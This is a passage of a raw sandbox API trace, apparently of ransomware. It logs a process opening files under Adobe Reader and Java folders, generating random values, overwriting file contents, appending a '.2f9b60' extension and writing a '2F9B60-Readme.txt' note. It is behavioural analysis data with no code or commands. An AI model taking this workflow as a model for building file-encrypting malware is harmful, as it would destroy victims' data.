[0219.250] sprintf (in: _Dest=0x4205a5f0, _Format="%c%c" | out: _Dest="2a") returned 2 [0219.250] sprintf (in: _Dest=0x4205a5f2, _Format="%c%c" | out: _Dest="ba") returned 2 [0219.251] sprintf (in: _Dest=0x4205a5f4, _Format="%c%c" | out: _Dest="31") returned 2 [0219.251] sprintf (in: _Dest=0x4205a5f6, _Format="%c%c" | out: _Dest="3e") returned 2 [0219.251] sprintf (in: _Dest=0x4205a5f8, _Format="%c%c" | out: _Dest="49") returned 2 [0219.251] sprintf (in: _Dest=0x4205a5fa, _Format="%c%c" | out: _Dest="68") returned 2 [0219.251] sprintf (in: _Dest=0x4205a5fc, _Format="%c%c" | out: _Dest="85") returned 2 [0219.251] sprintf (in: _Dest=0x4205a5fe, _Format="%c%c" | out: _Dest="6e") returned 2 [0219.251] sprintf (in: _Dest=0x4205a600, _Format="%c%c" | out: _Dest="f0") returned 2 [0219.251] sprintf (in: _Dest=0x4205a602, _Format="%c%c" | out: _Dest="b2") returned 2 [0219.251] sprintf (in: _Dest=0x4205a604, _Format="%c%c" | out: _Dest="4e") returned 2 [0219.251] sprintf (in: _Dest=0x4205a606, _Format="%c%c" | out: _Dest="81") returned 2 [0219.251] sprintf (in: _Dest=0x4205a608, _Format="%c%c" | out: _Dest="3d") returned 2 [0219.251] sprintf (in: _Dest=0x4205a60a, _Format="%c%c" | out: _Dest="43") returned 2 [0219.251] sprintf (in: _Dest=0x4205a60c, _Format="%c%c" | out: _Dest="2f") returned 2 [0219.251] sprintf (in: _Dest=0x4205a60e, _Format="%c%c" | out: _Dest="bd") returned 2 [0219.251] RtlInitAnsiString (in: DestinationString=0x34f2fb28, SourceString="2aba313e4968856ef0b24e813d432fbd" | out: DestinationString="2aba313e4968856ef0b24e813d432fbd") [0219.251] RtlAnsiStringToUnicodeString (in: DestinationString=0x34f2faf8, SourceString="2aba313e4968856ef0b24e813d432fbd", AllocateDestinationString=1 | out: DestinationString="2aba313e4968856ef0b24e813d432fbd") returned 0x0 [0219.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c670 [0219.252] wcscat (in: _Dest=0x43157de0, _Source="2aba313e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2aba313e") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2aba313e" [0219.252] wcscat (in: _Dest=0x43157de0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2aba313e.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2aba313e.2f9b60" [0219.252] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2aba313e.2f9b60", NtPathName=0x34f2fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2aba313e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf6) returned 0x1b78f080 [0222.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f080) returned 1 [0222.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307fee0) returned 1 [0222.350] NtQueryInformationFile (in: FileHandle=0x14a4, IoStatusBlock=0x34f2fb38, FileInformation=0x34f2fb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34f2fb38, FileInformation=0x34f2fb48) returned 0x0 [0222.350] NtSetInformationFile (FileHandle=0x14a4, IoStatusBlock=0x34f2fb38, FileInformation=0x34f2fb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157de0) returned 1 [0223.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0223.511] FlushFileBuffers (hFile=0x14a4) returned 1 [0224.005] CloseHandle (hObject=0x14a4) returned 1 [0224.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x423aa470 [0224.929] wcscpy (in: _Dest=0x423aa470, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\" [0224.929] wcscat (in: _Dest=0x423aa470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2F9B60-Readme.txt" [0224.929] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\2f9b60-readme.txt")) returned 0xffffffff [0224.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cf4 [0225.435] WriteFile (in: hFile=0x1cf4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x34f2f9f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x34f2f9f0*=0xba9, lpOverlapped=0x0) returned 1 [0225.958] CloseHandle (hObject=0x1cf4) returned 1 [0226.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa470) returned 1 [0226.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0226.542] FindNextFileW (in: hFindFile=0x1ced6280, lpFindFileData=0x2027fda0 | out: lpFindFileData=0x2027fda0*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028.mst", cAlternateFileName="")) returned 1 [0226.542] wcscmp (_String1="1028.mst", _String2=".") returned 1 [0226.542] wcscmp (_String1="1028.mst", _String2="..") returned 1 [0226.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776690 [0226.542] wcscpy (in: _Dest=0x1b776690, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" [0226.542] wcscat (in: _Dest=0x1b776690, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\" [0226.542] wcscat (in: _Dest=0x1b776690, _Source="1028.mst" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst" [0226.542] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1028.mst")) returned 0x21 [0226.543] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst", dwFileAttributes=0x20) returned 1 [0237.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1028.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe2c [0237.980] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0x34f2fae0 | out: lpFileSize=0x34f2fae0*=34816) returned 1 [0237.980] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x87fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.980] ReadFile (in: hFile=0xe2c, lpBuffer=0x34f2fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34f2faa8, lpOverlapped=0x0 | out: lpBuffer=0x34f2fa60*, lpNumberOfBytesRead=0x34f2faa8*=0x4, lpOverlapped=0x0) returned 1 [0238.267] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5620 [0238.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5b00 [0238.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f33a0 [0238.268] NtQuerySystemTime (in: CurrentTime=0x34f2f9a0 | out: CurrentTime=0x34f2f9a0*=132462178420726000) returned 0x0 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x5294589a [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x3674d295 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x3b41f791 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x37854b59 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x23f3e401 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x39239465 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x3a123766 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x49500159 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x372e9959 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x610351a2 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x2d9d01c7 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x4b0c3eda [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x2e811aaa [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x19a3188d [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x2ac2cedc [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x1b680c88 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x2e51f316 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x5bf63731 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x1101a206 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x665b8877 [0238.268] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x7ee94af5 [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0xfcae2ef [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x48005be9 [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x4ffb9dc5 [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x4192913 [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x741ecf1a [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x483355f9 [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x247610b0 [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x66cfd3f3 [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x4ec98b44 [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x61c36de9 [0238.269] RtlRandomEx (in: Seed=0x34f2f990 | out: Seed=0x34f2f990) returned 0x1487df44 [0238.270] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.270] ReadFile (in: hFile=0xe2c, lpBuffer=0x4294fa20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34f2fa00, lpOverlapped=0x0 | out: lpBuffer=0x4294fa20*, lpNumberOfBytesRead=0x34f2fa00*=0x3c00, lpOverlapped=0x0) returned 1 [0238.420] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce623c0 [0238.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef10 [0238.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d10 [0238.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0d10) returned 1 [0238.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420a01c0 [0238.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d10 [0238.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0b90 [0238.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0b90) returned 1 [0238.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 [0238.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce623c0) returned 1 [0238.424] WriteFile (hFile=0xe2c, lpBuffer=0x420a01c0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34f2fa00, lpOverlapped=0x0) Thread: id = 2062 os_tid = 0x1338 [0138.037] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\accessibility.properties")) returned 0x20 [0138.039] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties", dwFileAttributes=0x20) returned 1 [0138.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\accessibility.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\accessibility.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e74 [0138.041] GetFileSizeEx (in: hFile=0x1e74, lpFileSize=0x34e0fa40 | out: lpFileSize=0x34e0fa40*=155) returned 1 [0138.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0138.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611c0 [0138.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0138.041] NtQuerySystemTime (in: CurrentTime=0x34e0f900 | out: CurrentTime=0x34e0f900*=132462177432778000) returned 0x0 [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x11d1987e [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x1e0fea67 [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x28ae5808 [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x62c1387b [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x41a68ee5 [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x290a724a [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x576d6663 [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0xcfee58d [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x30320fdd [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x71224193 [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x38c0b501 [0138.041] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x19c709e2 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x3aced2af [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x694256d7 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x181df43f [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0xd161055 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x16ccde76 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x57b173bd [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x29c1bf23 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x2806207c [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x6b4e12f7 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x74d7e074 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x2b99c711 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x22980838 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x6f7b61a2 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0xa040aee [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x43e7e1bf [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x50d87321 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x167f13d9 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x1a2f33fc [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x2b8787e3 [0138.042] RtlRandomEx (in: Seed=0x34e0f8f0 | out: Seed=0x34e0f8f0) returned 0x5227a94 [0138.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260680 [0138.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b20 [0138.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0138.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0138.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0138.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0138.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ccc1b0 [0138.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cc85a0 [0138.055] ReadFile (in: hFile=0x1e74, lpBuffer=0x41ccc1b0, nNumberOfBytesToRead=0x9b, lpNumberOfBytesRead=0x34e0f8f0, lpOverlapped=0x0 | out: lpBuffer=0x41ccc1b0*, lpNumberOfBytesRead=0x34e0f8f0*=0x9b, lpOverlapped=0x0) returned 1 [0138.057] SetFilePointerEx (in: hFile=0x1e74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.057] WriteFile (in: hFile=0x1e74, lpBuffer=0x41cc85a0*, nNumberOfBytesToWrite=0x9b, lpNumberOfBytesWritten=0x34e0f8f4, lpOverlapped=0x0 | out: lpBuffer=0x41cc85a0*, lpNumberOfBytesWritten=0x34e0f8f4*=0x9b, lpOverlapped=0x0) returned 1 [0138.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0138.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0138.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0138.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cc85a0) returned 1 [0138.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ccc1b0) returned 1 [0138.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd977b0 [0138.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0138.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0138.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0138.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97850 [0138.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0138.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0138.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0138.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0138.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b82f830 [0138.063] SetFilePointerEx (in: hFile=0x1e74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0138.063] WriteFile (in: hFile=0x1e74, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x34e0fa10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x34e0fa10*=0x122, lpOverlapped=0x0) returned 1 [0138.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0138.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060eb0 [0138.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0138.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0138.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cda03f0 [0138.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0138.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0138.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b30) returned 1 [0138.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060eb0) returned 1 [0138.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0138.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1ced9470 [0138.066] sprintf (in: _Dest=0x1ced9470, _Format="%c%c" | out: _Dest="07") returned 2 [0138.066] sprintf (in: _Dest=0x1ced9472, _Format="%c%c" | out: _Dest="6a") returned 2 [0138.066] sprintf (in: _Dest=0x1ced9474, _Format="%c%c" | out: _Dest="a7") returned 2 [0138.066] sprintf (in: _Dest=0x1ced9476, _Format="%c%c" | out: _Dest="18") returned 2 [0138.066] sprintf (in: _Dest=0x1ced9478, _Format="%c%c" | out: _Dest="9e") returned 2 [0138.066] sprintf (in: _Dest=0x1ced947a, _Format="%c%c" | out: _Dest="b9") returned 2 [0138.066] sprintf (in: _Dest=0x1ced947c, _Format="%c%c" | out: _Dest="e4") returned 2 [0138.066] sprintf (in: _Dest=0x1ced947e, _Format="%c%c" | out: _Dest="8f") returned 2 [0138.066] sprintf (in: _Dest=0x1ced9480, _Format="%c%c" | out: _Dest="11") returned 2 [0138.066] sprintf (in: _Dest=0x1ced9482, _Format="%c%c" | out: _Dest="46") returned 2 [0138.066] sprintf (in: _Dest=0x1ced9484, _Format="%c%c" | out: _Dest="8d") returned 2 [0138.066] sprintf (in: _Dest=0x1ced9486, _Format="%c%c" | out: _Dest="00") returned 2 [0138.067] sprintf (in: _Dest=0x1ced9488, _Format="%c%c" | out: _Dest="1e") returned 2 [0138.067] sprintf (in: _Dest=0x1ced948a, _Format="%c%c" | out: _Dest="f1") returned 2 [0138.067] sprintf (in: _Dest=0x1ced948c, _Format="%c%c" | out: _Dest="a9") returned 2 [0138.067] sprintf (in: _Dest=0x1ced948e, _Format="%c%c" | out: _Dest="ae") returned 2 [0138.067] sprintf (in: 